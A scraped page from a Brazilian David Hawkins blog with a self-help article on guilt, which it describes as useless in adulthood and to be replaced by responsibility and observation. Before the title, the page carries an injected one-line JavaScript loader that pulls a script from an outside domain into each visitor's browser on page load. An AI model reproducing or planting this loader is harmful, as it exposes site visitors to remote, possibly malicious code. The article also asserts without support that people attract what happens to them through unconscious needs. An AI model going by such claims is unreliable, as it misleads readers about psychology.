;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Culpa: para que serve e o que ela tem a nos dizer? - David Hawkins Brasil
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Culpa: para que serve? – com base em Dr. David Hawkins

A culpa é tão comum em nossas vidas que nem a percebemos mais, mas ela está presente em quase todos os aspectos de nosso dia a dia.

Você já percebeu como a culpa está presente em nosso cotidiano? Quantas culpas temos instituidas em nosso dia a dia? Caso não, te convido a perceber.

Sentimos culpa em vários momentos por estarmos fazendo alguma coisa e não outra.

Por exemplo: estamos fazendo uma atividade de casa e nos culpamos por não estarmos fazendo uma tarefa do trabalho.

E, quando passamos a fazer essa tarefa, começamos a nos culpar por não termos tempo de estar com a família ou dar atenção para os filhos ou cônjuge.

Aí damos atenção a eles e nos sentimos culpados por não estarmos descansando.

Sentimos culpa em diversas situações.

A culpa também aparece depois:

  • de falarmos algo em hora errada,
  • por errarmos
  • de algo que não saiu do jeito que queríamos,
  • por estarmos em algum lugar quando “deveríamos” estar em outro,
  • de termos magoado alguém.

Além disso, a culpa surge também como negação da responsabilidade e projeção da culpa no externo, que pode gerar até mesmo sensações de:

  • ódio,
  • vingança e
  • ranger dos dentes.

E isso pode levar a culpar o outro por sua infelicidade, por acreditar que:

  • algo saiu diferente do que você queria,
  • por essa pessoa ser diferente,
  • porque não conseguir controlar as ações dela,
  • por ter estragado algo,
  • ou por outra qualquer coisa.

A culpa se transforma rapidamente em ódio vingativo.

Na história de nossa sociedade, vimos diversos políticos tiranos absolutistas cometerem atrocidades e dizimarem nações e culturas por projetarem nos outros a culpa por suas infelicidades ou por não conseguirem o que querem.

E o que é a culpa?

A culpa é um mecanismo de defesa do nosso ego que não leva em consideração a curva de aprendizagem, onde tudo acontece por um motivo para que estejamos em constante evolução.

Se passamos por uma situação é porque precisamos passar, caso contrário não passaríamos. Essa é a Realidade.

Aceitar a realidade sem cair em culpa é um desafio.

Para isso, é importante buscar trocar o sentimento de culpa interna ou externa por responsabilidade pessoal própria e intransferível.

Tudo que acontece com você é sua responsabilidade, pois suas decisões te levaram até ali e suas necessidades de aprendizado inconscientes atraem as situações pelas quais você passa.

Portanto, é necessário trocar culpa por responsabilidade de aceitar, aprender e mudar quando possível.

Gosto muito de uma frase do teólogo Reinhold Niebuhr que ajuda bastante no processo de transcendência da culpa:

“Que eu tenha serenidade para aceitar as coisas que não posso mudar, coragem para mudar as que posso e sabedoria para distinguir entre as duas.”

A culpa apenas nos faz sentir negativos diante das situações e gastar energia com aquilo que não podemos mudar, que é o passado, acreditando que ele prejudicou seu presente e seu futuro.

Mas isso é uma ausência de Realidade, logo, falsidade. Pois tudo está suscetível à mudança a todo momento, assim como a alegria e felicidade de cada um de nós.

Pois bem, essa é uma questão de decisão. Largar mão do negativo e deixar de lado as resistências ao positivo.

E o que fazer com os erros que cometemos?

Decisões passadas foram tomadas com base no limite de consciência daquele momento passado.

Enxergamos hoje como uma escolha ruim porque evoluímos. Caso contrário, enxergaríamos como uma boa escolha ou nem a perceberíamos, por ser uma escolha normal.

Então, entender, honrar e respeitar suas limitações passadas faz com que o erro deixe de ser prejudicial.

De inútil, o erro se transforma em algo benéfico e útil: aprendizado. Ao invés de sofrer, podemos agradecer por perceber os erros e ter a oportunidade de superá-los.

E, com isso, a alegria súbita surge. Pois, ao aprendermos algo e pararmos de resistir às situações como aconteceram, a angústia é trocada por alívio.

E então, para que ela serve?

A resposta mais certeira é: para nada.

No estado adulto a culpa se torna obsoleta. Ela é um recurso necessário apenas na fase de desenvolvimento do ser humano.

Assim, a partir da culpa, a criança em formação pode discernir o certo do errado e a moralidade da imoralidade, adquirindo responsabilidade sobre seus atos ou ausência de atos.

Quando já temos isso definido em nosso sistema, na limitação de nossos níveis de consciência e percepções de cada momento, a culpa se torna obsoleta e pode ser substituída completamente por aprendizagem súbita e radical.

Errou? Aprenda e pronto! Só isso.

Se sentir que é necessário, peça perdão se perceber que alguém se feriu, com verdade e compaixão.

E siga em frente dando o seu melhor, com gratidão pela oportunidade de uma evolução de consciência.

Observação: o segredo para superar a culpa.

Para vencer a culpa é necessário observar.

Observar profundamente como nossos sentimentos constroem padrões que protegem nossos prazeres de curto prazo e nos defendem dos desprazeres sensoriais, evitando nossa evolução.

E como esses sentimentos argumentam sobre o que está “certo” ou “errado” através de pensamentos sedutores.

Então, esses pensamentos sedutores nos convencem de que nossa visão de mundo é a correta.

O pensamento se torna ação, depois hábito. Forma nosso caráter e, por fim, manifesta-se nos resultados que alcançamos ou não alcançamos em nossas vidas.

Mas como assim? O que significa observar?

Observar é perceber os sentimentos, as sensações e os pensamentos como eles são e se manifestam.

E é por isso que, a partir daí, podemos perceber que esses impulsos são apenas sugestões da mente.

Mais do que isso, percebemos que nós não somos os nossos impulsos, mas o observador por trás deles.

Assim como o silêncio permite a música, como o espaço permite a matéria, o observador permite o pensamento.

Observação não é:

  • analise,
  • crítica,
  • reflexão,
  • julgamentalismo,
  • posicionalidade,
  • resistência ao que surge,
  • querer mudar o que surge,
  • querer entender os porquês.


Nada disso! Observação é puro entendimento e compreensão silenciosos. Sem qualquer ruído ou barulho que nos desfoque da profundidade daquilo que é real.

É aceitação e é desapego.

Essa aceitação com o que se foi e o desapego no controle do resultado, se permitindo ser quem é em um estilo de vida onde você dá o seu melhor em todos os momentos, é Amor.

E Amor cura a culpa.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

18 respostas em “Culpa: para que serve? – com base em Dr. David Hawkins”

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